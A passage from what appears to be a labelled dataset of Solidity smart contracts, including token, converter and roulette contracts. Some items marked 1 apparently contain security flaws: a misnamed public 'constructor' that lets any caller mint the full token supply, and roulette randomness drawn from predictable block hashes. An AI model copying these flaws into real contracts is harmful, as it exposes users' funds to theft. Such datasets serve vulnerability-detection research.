start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29980800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x8CF330D9518e51391E41b370c0BAE328c0d86EfC; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.11; contract Utils { function Utils() { } modifier greaterThanZero(uint256 _amount) { require(_amount > 0); _; } modifier validAddress(address _address) { require(_address != 0x0); _; } modifier notThis(address _address) { require(_address != address(this)); _; } function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } function safeSub(uint256 _x, uint256 _y) internal returns (uint256) { assert(_x >= _y); return _x - _y; } function safeMul(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } contract IOwned { function owner() public constant returns (address) {} function transferOwnership(address _newOwner) public; function acceptOwnership() public; } contract Owned is IOwned { address public owner; address public newOwner; event OwnerUpdate(address _prevOwner, address _newOwner); function Owned() { owner = msg.sender; } modifier ownerOnly { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } } contract Managed { address public manager; address public newManager; event ManagerUpdate(address _prevManager, address _newManager); function Managed() { manager = msg.sender; } modifier managerOnly { assert(msg.sender == manager); _; } function transferManagement(address _newManager) public managerOnly { require(_newManager != manager); newManager = _newManager; } function acceptManagement() public { require(msg.sender == newManager); ManagerUpdate(manager, newManager); manager = newManager; newManager = 0x0; } } contract IERC20Token { function name() public constant returns (string) {} function symbol() public constant returns (string) {} function decimals() public constant returns (uint8) {} function totalSupply() public constant returns (uint256) {} function balanceOf(address _owner) public constant returns (uint256) { _owner; } function allowance(address _owner, address _spender) public constant returns (uint256) { _owner; _spender; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract ITokenConverter { function convertibleTokenCount() public constant returns (uint16); function convertibleToken(uint16 _tokenIndex) public constant returns (address); function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public constant returns (uint256); function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256); function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256); } contract ITokenHolder is IOwned { function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public; } contract ISmartToken is IOwned, IERC20Token { function disableTransfers(bool _disable) public; function issue(address _to, uint256 _amount) public; function destroy(address _from, uint256 _amount) public; } contract IBancorFormula { function calculatePurchaseReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _depositAmount) public constant returns (uint256); function calculateSaleReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _sellAmount) public constant returns (uint256); } contract IBancorGasPriceLimit { function gasPrice() public constant returns (uint256) {} } contract IBancorQuickConverter { function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256); function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256); } contract IBancorConverterExtensions { function formula() public constant returns (IBancorFormula) {} function gasPriceLimit() public constant returns (IBancorGasPriceLimit) {} function quickConverter() public constant returns (IBancorQuickConverter) {} } contract TokenHolder is ITokenHolder, Owned, Utils { function TokenHolder() { } function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public ownerOnly validAddress(_token) validAddress(_to) notThis(_to) { assert(_token.transfer(_to, _amount)); } } contract SmartTokenController is TokenHolder { ISmartToken public token; function SmartTokenController(ISmartToken _token) validAddress(_token) { token = _token; } modifier active() { assert(token.owner() == address(this)); _; } modifier inactive() { assert(token.owner() != address(this)); _; } function transferTokenOwnership(address _newOwner) public ownerOnly { token.transferOwnership(_newOwner); } function acceptTokenOwnership() public ownerOnly { token.acceptOwnership(); } function disableTokenTransfers(bool _disable) public ownerOnly { token.disableTransfers(_disable); } function withdrawFromToken(IERC20Token _token, address _to, uint256 _amount) public ownerOnly { ITokenHolder(token).withdrawTokens(_token, _to, _amount); } } contract BancorConverter is ITokenConverter, SmartTokenController, Managed { uint32 private constant MAX_WEIGHT = 1000000; uint32 private constant MAX_CONVERSION_FEE = 1000000; struct Connector { uint256 virtualBalance; uint32 weight; bool isVirtualBalanceEnabled; bool isPurchaseEnabled; bool isSet; } string public version = '0.5'; string public converterType = 'bancor'; IBancorConverterExtensions public extensions; IERC20Token[] public connectorTokens; IERC20Token[] public quickBuyPath; mapping (address => Connector) public connectors; uint32 private totalConnectorWeight = 0; uint32 public maxConversionFee = 0; uint32 public conversionFee = 0; bool public conversionsEnabled = true; event Conversion(address indexed _fromToken, address indexed _toToken, address indexed _trader, uint256 _amount, uint256 _return, uint256 _currentPriceN, uint256 _currentPriceD); function BancorConverter(ISmartToken _token, IBancorConverterExtensions _extensions, uint32 _maxConversionFee, IERC20Token _connectorToken, uint32 _connectorWeight) SmartTokenController(_token) validAddress(_extensions) validMaxConversionFee(_maxConversionFee) { extensions = _extensions; maxConversionFee = _maxConversionFee; if (address(_connectorToken) != 0x0) addConnector(_connectorToken, _connectorWeight, false); } modifier validConnector(IERC20Token _address) { require(connectors[_address].isSet); _; } modifier validToken(IERC20Token _address) { require(_address == token || connectors[_address].isSet); _; } modifier validGasPrice() { assert(tx.gasprice <= extensions.gasPriceLimit().gasPrice()); _; } modifier validMaxConversionFee(uint32 _conversionFee) { require(_conversionFee >= 0 && _conversionFee <= MAX_CONVERSION_FEE); _; } modifier validConversionFee(uint32 _conversionFee) { require(_conversionFee >= 0 && _conversionFee <= maxConversionFee); _; } modifier validConnectorWeight(uint32 _weight) { require(_weight > 0 && _weight <= MAX_WEIGHT); _; } modifier validConversionPath(IERC20Token[] _path) { require(_path.length > 2 && _path.length <= (1 + 2 * 10) && _path.length % 2 == 1); _; } modifier conversionsAllowed { assert(conversionsEnabled); _; } function connectorTokenCount() public constant returns (uint16) { return uint16(connectorTokens.length); } function convertibleTokenCount() public constant returns (uint16) { return connectorTokenCount() + 1; } function convertibleToken(uint16 _tokenIndex) public constant returns (address) { if (_tokenIndex == 0) return token; return connectorTokens[_tokenIndex - 1]; } function setExtensions(IBancorConverterExtensions _extensions) public ownerOnly validAddress(_extensions) notThis(_extensions) { extensions = _extensions; } function setQuickBuyPath(IERC20Token[] _path) public ownerOnly validConversionPath(_path) { quickBuyPath = _path; } function clearQuickBuyPath() public ownerOnly { quickBuyPath.length = 0; } function getQuickBuyPathLength() public constant returns (uint256) { return quickBuyPath.length; } function disableConversions(bool _disable) public managerOnly { conversionsEnabled = !_disable; } function setConversionFee(uint32 _conversionFee) public managerOnly validConversionFee(_conversionFee) { conversionFee = _conversionFee; } function getConversionFeeAmount(uint256 _amount) public constant returns (uint256) { return safeMul(_amount, conversionFee) / MAX_CONVERSION_FEE; } function addConnector(IERC20Token _token, uint32 _weight, bool _enableVirtualBalance) public ownerOnly inactive validAddress(_token) notThis(_token) validConnectorWeight(_weight) { require(_token != token && !connectors[_token].isSet && totalConnectorWeight + _weight <= MAX_WEIGHT); connectors[_token].virtualBalance = 0; connectors[_token].weight = _weight; connectors[_token].isVirtualBalanceEnabled = _enableVirtualBalance; connectors[_token].isPurchaseEnabled = true; connectors[_token].isSet = true; connectorTokens.push(_token); totalConnectorWeight += _weight; } function updateConnector(IERC20Token _connectorToken, uint32 _weight, bool _enableVirtualBalance, uint256 _virtualBalance) public ownerOnly validConnector(_connectorToken) validConnectorWeight(_weight) { Connector storage connector = connectors[_connectorToken]; require(totalConnectorWeight - connector.weight + _weight <= MAX_WEIGHT); totalConnectorWeight = totalConnectorWeight - connector.weight + _weight; connector.weight = _weight; connector.isVirtualBalanceEnabled = _enableVirtualBalance; connector.virtualBalance = _virtualBalance; } function disableConnectorPurchases(IERC20Token _connectorToken, bool _disable) public ownerOnly validConnector(_connectorToken) { connectors[_connectorToken].isPurchaseEnabled = !_disable; } function getConnectorBalance(IERC20Token _connectorToken) public constant validConnector(_connectorToken) returns (uint256) { Connector storage connector = connectors[_connectorToken]; return connector.isVirtualBalanceEnabled ? connector.virtualBalance : _connectorToken.balanceOf(this); } function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public constant returns (uint256) { require(_fromToken != _toToken); if (_toToken == token) return getPurchaseReturn(_fromToken, _amount); else if (_fromToken == token) return getSaleReturn(_toToken, _amount); uint256 purchaseReturnAmount = getPurchaseReturn(_fromToken, _amount); return getSaleReturn(_toToken, purchaseReturnAmount, safeAdd(token.totalSupply(), purchaseReturnAmount)); } function getPurchaseReturn(IERC20Token _connectorToken, uint256 _depositAmount) public constant active validConnector(_connectorToken) returns (uint256) { Connector storage connector = connectors[_connectorToken]; require(connector.isPurchaseEnabled); uint256 tokenSupply = token.totalSupply(); uint256 connectorBalance = getConnectorBalance(_connectorToken); uint256 amount = extensions.formula().calculatePurchaseReturn(tokenSupply, connectorBalance, connector.weight, _depositAmount); uint256 feeAmount = getConversionFeeAmount(amount); return safeSub(amount, feeAmount); } function getSaleReturn(IERC20Token _connectorToken, uint256 _sellAmount) public constant returns (uint256) { return getSaleReturn(_connectorToken, _sellAmount, token.totalSupply()); } function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256) { require(_fromToken != _toToken); if (_toToken == token) return buy(_fromToken, _amount, _minReturn); else if (_fromToken == token) return sell(_toToken, _amount, _minReturn); uint256 purchaseAmount = buy(_fromToken, _amount, 1); return sell(_toToken, purchaseAmount, _minReturn); } function buy(IERC20Token _connectorToken, uint256 _depositAmount, uint256 _minReturn) public conversionsAllowed validGasPrice greaterThanZero(_minReturn) returns (uint256) { uint256 amount = getPurchaseReturn(_connectorToken, _depositAmount); assert(amount != 0 && amount >= _minReturn); Connector storage connector = connectors[_connectorToken]; if (connector.isVirtualBalanceEnabled) connector.virtualBalance = safeAdd(connector.virtualBalance, _depositAmount); assert(_connectorToken.transferFrom(msg.sender, this, _depositAmount)); token.issue(msg.sender, amount); uint256 connectorAmount = safeMul(getConnectorBalance(_connectorToken), MAX_WEIGHT); uint256 tokenAmount = safeMul(token.totalSupply(), connector.weight); Conversion(_connectorToken, token, msg.sender, _depositAmount, amount, connectorAmount, tokenAmount); return amount; } function sell(IERC20Token _connectorToken, uint256 _sellAmount, uint256 _minReturn) public conversionsAllowed validGasPrice greaterThanZero(_minReturn) returns (uint256) { require(_sellAmount <= token.balanceOf(msg.sender)); uint256 amount = getSaleReturn(_connectorToken, _sellAmount); assert(amount != 0 && amount >= _minReturn); uint256 tokenSupply = token.totalSupply(); uint256 connectorBalance = getConnectorBalance(_connectorToken); assert(amount < connectorBalance || (amount == connectorBalance && _sellAmount == tokenSupply)); Connector storage connector = connectors[_connectorToken]; if (connector.isVirtualBalanceEnabled) connector.virtualBalance = safeSub(connector.virtualBalance, amount); token.destroy(msg.sender, _sellAmount); assert(_connectorToken.transfer(msg.sender, amount)); uint256 connectorAmount = safeMul(getConnectorBalance(_connectorToken), MAX_WEIGHT); uint256 tokenAmount = safeMul(token.totalSupply(), connector.weight); Conversion(token, _connectorToken, msg.sender, _sellAmount, amount, tokenAmount, connectorAmount); return amount; } function quickConvert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable validConversionPath(_path) returns (uint256) { IERC20Token fromToken = _path[0]; IBancorQuickConverter quickConverter = extensions.quickConverter(); if (msg.value == 0) { if (fromToken == token) { token.destroy(msg.sender, _amount); token.issue(quickConverter, _amount); } else { assert(fromToken.transferFrom(msg.sender, quickConverter, _amount)); } } return quickConverter.convertFor.value(msg.value)(_path, _amount, _minReturn, msg.sender); } function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256) { return convert(_fromToken, _toToken, _amount, _minReturn); } function getSaleReturn(IERC20Token _connectorToken, uint256 _sellAmount, uint256 _totalSupply) private constant active validConnector(_connectorToken) greaterThanZero(_totalSupply) returns (uint256) { Connector storage connector = connectors[_connectorToken]; uint256 connectorBalance = getConnectorBalance(_connectorToken); uint256 amount = extensions.formula().calculateSaleReturn(_totalSupply, connectorBalance, connector.weight, _sellAmount); uint256 feeAmount = getConversionFeeAmount(amount); return safeSub(amount, feeAmount); } function() payable { quickConvert(quickBuyPath, msg.value, 1); } }
0
pragma solidity ^0.4.25 ; contract CCD_KOHLE_9_20190411 { mapping (address => uint256) public balanceOf; string public name = " CCD_KOHLE_9_20190411 " ; string public symbol = " CCD_KOHLE_9_20190411_subDT " ; uint8 public decimals = 18 ; uint256 public totalSupply = 19800000000000000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
1
pragma solidity ^0.4.8; contract WinMatrix { function getCoeff(uint16 n) external returns (uint256); function getBetsProcessed() external constant returns (uint16); } contract SmartRouletteToken { function emission(address player, address partner, uint256 value_bet, uint16 coef_player, uint16 coef_partner) external returns(uint256); } contract SmartAffiliate { function register(address player, address affiliate) external; function getAffiliateInfo(address player) external constant returns(address affiliate, uint16 coef_affiliate); } contract SmartRoulette { address developer; address operator; uint8 BlockDelay; uint256 currentMaxBet; uint64 maxGamblesPerBlock; bool ContractState; WinMatrix winMatrix; SmartRouletteToken smartToken; address profitDistributionContract; SmartAffiliate smartAffiliateContract; uint16 constant maxTypeBets = 157; uint16 coef_player; uint8 defaultMinCreditsOnBet; mapping (uint8 => uint8) private minCreditsOnBet; struct GameInfo { address player; uint256 blockNumber; uint8 wheelResult; uint256 bets; bytes32 values; bytes32 values2; } GameInfo[] private gambles; enum GameStatus {Success, Skipped, Stop} enum BetTypes{number0, number1,number2,number3,number4,number5,number6,number7,number8,number9, number10,number11,number12,number13,number14,number15,number16,number17,number18,number19,number20,number21, number22,number23,number24,number25,number26,number27,number28,number29,number30,number31,number32,number33, number34,number35,number36, red, black, odd, even, dozen1,dozen2,dozen3, column1,column2,column3, low,high, pair_01, pair_02, pair_03, pair_12, pair_23, pair_36, pair_25, pair_14, pair_45, pair_56, pair_69, pair_58, pair_47, pair_78, pair_89, pair_912, pair_811, pair_710, pair_1011, pair_1112, pair_1215, pair_1518, pair_1617, pair_1718, pair_1720, pair_1619, pair_1922, pair_2023, pair_2124, pair_2223, pair_2324, pair_2528, pair_2629, pair_2730, pair_2829, pair_2930, pair_1114, pair_1013, pair_1314, pair_1415, pair_1316, pair_1417, pair_1821, pair_1920, pair_2021, pair_2225, pair_2326, pair_2427, pair_2526, pair_2627, pair_2831, pair_2932, pair_3033, pair_3132, pair_3233, pair_3134, pair_3235, pair_3336, pair_3435, pair_3536, corner_0_1_2_3, corner_1_2_5_4, corner_2_3_6_5, corner_4_5_8_7, corner_5_6_9_8, corner_7_8_11_10, corner_8_9_12_11, corner_10_11_14_13, corner_11_12_15_14, corner_13_14_17_16, corner_14_15_18_17, corner_16_17_20_19, corner_17_18_21_20, corner_19_20_23_22, corner_20_21_24_23, corner_22_23_26_25, corner_23_24_27_26, corner_25_26_29_28, corner_26_27_30_29, corner_28_29_32_31, corner_29_30_33_32, corner_31_32_35_34, corner_32_33_36_35, three_0_2_3, three_0_1_2, three_1_2_3, three_4_5_6, three_7_8_9, three_10_11_12, three_13_14_15, three_16_17_18, three_19_20_21, three_22_23_24, three_25_26_27, three_28_29_30, three_31_32_33, three_34_35_36, six_1_2_3_4_5_6, six_4_5_6_7_8_9, six_7_8_9_10_11_12, six_10_11_12_13_14_15, six_13_14_15_16_17_18, six_16_17_18_19_20_21, six_19_20_21_22_23_24, six_22_23_24_25_26_27, six_25_26_27_28_29_30, six_28_29_30_31_32_33, six_31_32_33_34_35_36} function SmartRoulette() internal { developer = msg.sender; operator = msg.sender; winMatrix = WinMatrix(0x073D6621E9150bFf9d1D450caAd3c790b6F071F2 ); if (winMatrix.getBetsProcessed() != maxTypeBets) throw; smartToken = SmartRouletteToken(0x7dD8D4c556d2005c5bafc3d5449A99Fb46279E6b); currentMaxBet = 2560 finney; BlockDelay = 1; maxGamblesPerBlock = 5; defaultMinCreditsOnBet = 1; ContractState = true; bankrolLimit = 277 ether; profitLimit = 50 ether; coef_player = 300; } function changeMaxBet(uint256 newMaxBet) public onlyDeveloper { newMaxBet = newMaxBet / 2560000000000000000 * 2560000000000000000; if (newMaxBet != currentMaxBet) { currentMaxBet = newMaxBet; SettingsChanged(currentMaxBet, currentMaxBet / 256, defaultMinCreditsOnBet, minCreditsOnBet[uint8(BetTypes.low)], minCreditsOnBet[uint8(BetTypes.dozen1)], BlockDelay, ContractState); } } uint256 bankrolLimit; uint256 profitLimit; uint256 lastDistributedProfit; uint256 lastDateDistributedProfit; function getDistributeProfitsInfo() public constant returns (uint256 lastProfit, uint256 lastDate) { lastProfit = lastDistributedProfit; lastDate = lastDateDistributedProfit; } function setProfitDistributionContract(address contractAddress) onlyDeveloper { if (profitDistributionContract > 0) throw; profitDistributionContract = contractAddress; } function setSmartAffiliateContract(address contractAddress) onlyDeveloper { if (address(smartAffiliateContract) > 0) throw; smartAffiliateContract = SmartAffiliate(contractAddress); } function distributeProfits(uint256 gasValue) onlyDeveloperOrOperator { if (profitDistributionContract > 0 && this.balance >= (bankrolLimit+profitLimit)) { uint256 diff = this.balance - bankrolLimit; if (address(profitDistributionContract).call.gas(gasValue).value(diff)() == false) throw; lastDistributedProfit = diff; lastDateDistributedProfit = block.timestamp; } } function getTokenSettings() public constant returns(uint16 Coef_player, uint256 BankrolLimit, uint256 ProfitLimit) { Coef_player = coef_player; BankrolLimit = bankrolLimit; ProfitLimit = profitLimit; } function changeTokenSettings(uint16 newCoef_player, uint256 newBankrolLimit, uint256 newProfitLimit) onlyDeveloper { coef_player = newCoef_player; bankrolLimit = newBankrolLimit; profitLimit = newProfitLimit; } function changeSettings(uint64 NewMaxBetsPerBlock, uint8 NewBlockDelay, uint8 MinCreditsOnBet50, uint8 MinCreditsOnBet33, uint8 NewDefaultMinCreditsOnBet) onlyDeveloper { BlockDelay = NewBlockDelay; if (NewMaxBetsPerBlock != 0) maxGamblesPerBlock = NewMaxBetsPerBlock; if (MinCreditsOnBet50 > 0) { minCreditsOnBet[uint8(BetTypes.low)] = MinCreditsOnBet50; minCreditsOnBet[uint8(BetTypes.high)] = MinCreditsOnBet50; minCreditsOnBet[uint8(BetTypes.red)] = MinCreditsOnBet50; minCreditsOnBet[uint8(BetTypes.black)] = MinCreditsOnBet50; minCreditsOnBet[uint8(BetTypes.odd)] = MinCreditsOnBet50; minCreditsOnBet[uint8(BetTypes.even)] = MinCreditsOnBet50; } if (MinCreditsOnBet33 > 0) { minCreditsOnBet[uint8(BetTypes.dozen1)] = MinCreditsOnBet33; minCreditsOnBet[uint8(BetTypes.dozen2)] = MinCreditsOnBet33; minCreditsOnBet[uint8(BetTypes.dozen3)] = MinCreditsOnBet33; minCreditsOnBet[uint8(BetTypes.column1)] = MinCreditsOnBet33; minCreditsOnBet[uint8(BetTypes.column2)] = MinCreditsOnBet33; minCreditsOnBet[uint8(BetTypes.column3)] = MinCreditsOnBet33; } if (NewDefaultMinCreditsOnBet > 0) defaultMinCreditsOnBet = NewDefaultMinCreditsOnBet; } function deleteContract() onlyDeveloper { suicide(msg.sender); } function isBitSet(uint256 data, uint8 bit) private constant returns (bool ret) { assembly { ret := iszero(iszero(and(data, exp(2,bit)))) } return ret; } function getIndex(uint16 bet, uint16 wheelResult) private constant returns (uint16) { return (bet+1)*256 + (wheelResult+1); } function getBetValue(bytes32 values, uint8 n) private constant returns (uint256) { uint256 bet = uint256(values[32-n])+1; uint8 minCredits = minCreditsOnBet[n]; if (minCredits == 0) minCredits = defaultMinCreditsOnBet; if (bet < minCredits) throw; bet = currentMaxBet*bet/256; if (bet > currentMaxBet) throw; return bet; } function getBetValueByGamble(GameInfo memory gamble, uint8 n) private constant returns (uint256) { if (n<=32) return getBetValue(gamble.values, n); if (n<=64) return getBetValue(gamble.values2, n-32); throw; } function totalGames() constant returns (uint256) { return gambles.length; } function getSettings() constant returns(uint256 maxBet, uint256 oneCredit, uint8 MinBetInCredits, uint8 MinBetInCredits_50,uint8 MinBetInCredits_33, uint8 blockDelayBeforeSpin, bool contractState) { maxBet = currentMaxBet; oneCredit = currentMaxBet / 256; blockDelayBeforeSpin = BlockDelay; MinBetInCredits = defaultMinCreditsOnBet; MinBetInCredits_50 = minCreditsOnBet[uint8(BetTypes.low)]; MinBetInCredits_33 = minCreditsOnBet[uint8(BetTypes.column1)]; contractState = ContractState; } modifier onlyDeveloper() { if (msg.sender != developer) throw; _; } modifier onlyDeveloperOrOperator() { if (msg.sender != developer && msg.sender != operator) throw; _; } function disableBetting_only_Dev() onlyDeveloperOrOperator { ContractState=false; } function changeOperator(address newOperator) onlyDeveloper { operator = newOperator; } function enableBetting_only_Dev() onlyDeveloperOrOperator { ContractState=true; } event PlayerBet(uint256 gambleId, uint256 playerTokens); event EndGame(address player, uint8 result, uint256 gambleId); event SettingsChanged(uint256 maxBet, uint256 oneCredit, uint8 DefaultMinBetInCredits, uint8 MinBetInCredits50, uint8 MinBetInCredits33, uint8 blockDelayBeforeSpin, bool contractState); event ErrorLog(address player, string message); event GasLog(string msg, uint256 level, uint256 gas); function totalBetValue(GameInfo memory g) private constant returns (uint256) { uint256 totalBetsValue = 0; uint8 nPlayerBetNo = 0; uint8 betsCount = uint8(bytes32(g.bets)[0]); for(uint8 i = 0; i < maxTypeBets;i++) if (isBitSet(g.bets, i)) { totalBetsValue += getBetValueByGamble(g, nPlayerBetNo+1); nPlayerBetNo++; if (betsCount == 1) break; betsCount--; } return totalBetsValue; } function totalBetCount(GameInfo memory g) private constant returns (uint256) { uint256 totalBets = 0; for(uint8 i=0; i < maxTypeBets;i++) if (isBitSet(g.bets, i)) totalBets++; return totalBets; } function placeBet(uint256 bets, bytes32 values1,bytes32 values2) public payable { if (ContractState == false) { ErrorLog(msg.sender, "ContractDisabled"); if (msg.sender.send(msg.value) == false) throw; return; } var gamblesLength = gambles.length; if (gamblesLength > 0) { uint8 gamblesCountInCurrentBlock = 0; for(var i = gamblesLength - 1;i > 0; i--) { if (gambles[i].blockNumber == block.number) { if (gambles[i].player == msg.sender) { ErrorLog(msg.sender, "Play twice the same block"); if (msg.sender.send(msg.value) == false) throw; return; } gamblesCountInCurrentBlock++; if (gamblesCountInCurrentBlock >= maxGamblesPerBlock) { ErrorLog(msg.sender, "maxGamblesPerBlock"); if (msg.sender.send(msg.value) == false) throw; return; } } else { break; } } } var _currentMaxBet = currentMaxBet; if (msg.value < _currentMaxBet/256 || bets == 0) { ErrorLog(msg.sender, "Wrong bet value"); if (msg.sender.send(msg.value) == false) throw; return; } if (msg.value > _currentMaxBet) { ErrorLog(msg.sender, "Limit for table"); if (msg.sender.send(msg.value) == false) throw; return; } GameInfo memory g = GameInfo(msg.sender, block.number, 37, bets, values1,values2); if (totalBetValue(g) != msg.value) { ErrorLog(msg.sender, "Wrong bet value"); if (msg.sender.send(msg.value) == false) throw; return; } gambles.push(g); address affiliate = 0; uint16 coef_affiliate = 0; if (address(smartAffiliateContract) > 0) { (affiliate, coef_affiliate) = smartAffiliateContract.getAffiliateInfo(msg.sender); } uint256 playerTokens = smartToken.emission(msg.sender, affiliate, msg.value, coef_player, coef_affiliate); PlayerBet(gamblesLength, playerTokens); } function Invest() payable onlyDeveloper { } function GetGameIndexesToProcess() public constant returns (uint256[64] gameIndexes) { uint8 index = 0; for(int256 i = int256(gambles.length) - 1;i >= 0;i--) { GameInfo memory g = gambles[uint256(i)]; if (block.number - g.blockNumber >= 256) break; if (g.wheelResult == 37 && block.number >= g.blockNumber + BlockDelay) { gameIndexes[index++] = uint256(i + 1); } } } uint256 lastBlockGamesProcessed; function ProcessGames(uint256[] gameIndexes, bool simulate) { if (!simulate) { if (lastBlockGamesProcessed == block.number) return; lastBlockGamesProcessed = block.number; } uint8 delay = BlockDelay; uint256 length = gameIndexes.length; bool success = false; for(uint256 i = 0;i < length;i++) { if (ProcessGame(gameIndexes[i], delay) == GameStatus.Success) success = true; } if (simulate && !success) throw; } function ProcessGameExt(uint256 index) public returns (GameStatus) { return ProcessGame(index, BlockDelay); } function ProcessGame(uint256 index, uint256 delay) private returns (GameStatus) { GameInfo memory g = gambles[index]; if (block.number - g.blockNumber >= 256) return GameStatus.Stop; if (g.wheelResult == 37 && block.number > g.blockNumber + delay) { gambles[index].wheelResult = getRandomNumber(g.player, g.blockNumber); uint256 playerWinnings = getGameResult(uint64(index)); if (playerWinnings > 0) { if (g.player.send(playerWinnings) == false) throw; } EndGame(g.player, gambles[index].wheelResult, index); return GameStatus.Success; } return GameStatus.Skipped; } function getRandomNumber(address player, uint256 playerblock) private returns(uint8 wheelResult) { bytes32 blockHash = block.blockhash(playerblock+BlockDelay); if (blockHash==0) { ErrorLog(msg.sender, "Cannot generate random number"); wheelResult = 200; } else { bytes32 shaPlayer = sha3(player, blockHash); wheelResult = uint8(uint256(shaPlayer)%37); } } function calculateRandomNumberByBlockhash(uint256 blockHash, address player) public constant returns (uint8 wheelResult) { bytes32 shaPlayer = sha3(player, blockHash); wheelResult = uint8(uint256(shaPlayer)%37); } function emergencyFixGameResult(uint64 gambleId, uint256 blockHash) onlyDeveloperOrOperator { GameInfo memory gamble = gambles[gambleId]; if (gamble.wheelResult != 200) throw; gambles[gambleId].wheelResult = calculateRandomNumberByBlockhash(blockHash, gamble.player); if (gamble.player.send(getGameResult(gambleId)) == false) throw; EndGame(gamble.player, gamble.wheelResult, gambleId); } function checkGamesReadyForSpinning() constant returns (int256[256] ret) { uint16 index = 0; for(int256 i = int256(gambles.length) - 1;i >= 0;i--) { GameInfo memory g = gambles[uint256(i)]; if (block.number - g.blockNumber >= 256) return ; if (g.wheelResult == 37 && block.number > g.blockNumber + BlockDelay) { ret[index++] = i+1; } } } function preliminaryGameResult(uint64 gambleIndex) constant returns (uint64 gambleId, address player, uint256 blockNumber, uint256 totalWin, uint8 wheelResult, uint256 bets, uint256 values1, uint256 values2, uint256 nTotalBetValue, uint256 nTotalBetCount) { GameInfo memory g = gambles[uint256(gambleIndex)]; if (g.wheelResult == 37 && block.number > g.blockNumber + BlockDelay) { gambles[gambleIndex].wheelResult = getRandomNumber(g.player, g.blockNumber); return getGame(gambleIndex); } throw; } function getGameResult(uint64 index) private constant returns (uint256 totalWin) { GameInfo memory game = gambles[index]; totalWin = 0; uint8 nPlayerBetNo = 0; uint8 betsCount = uint8(bytes32(game.bets)[0]); for(uint8 i=0; i<maxTypeBets; i++) { if (isBitSet(game.bets, i)) { var winMul = winMatrix.getCoeff(getIndex(i, game.wheelResult)); if (winMul > 0) winMul++; totalWin += winMul * getBetValueByGamble(game, nPlayerBetNo+1); nPlayerBetNo++; if (betsCount == 1) break; betsCount--; } } } function getGame(uint64 index) constant returns (uint64 gambleId, address player, uint256 blockNumber, uint256 totalWin, uint8 wheelResult, uint256 bets, uint256 values1, uint256 values2, uint256 nTotalBetValue, uint256 nTotalBetCount) { gambleId = index; player = gambles[index].player; totalWin = getGameResult(index); blockNumber = gambles[index].blockNumber; wheelResult = gambles[index].wheelResult; nTotalBetValue = totalBetValue(gambles[index]); nTotalBetCount = totalBetCount(gambles[index]); bets = gambles[index].bets; values1 = uint256(gambles[index].values); values2 = uint256(gambles[index].values2); } function() { throw; } }
1
pragma solidity ^0.4.24; contract RSEvents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, 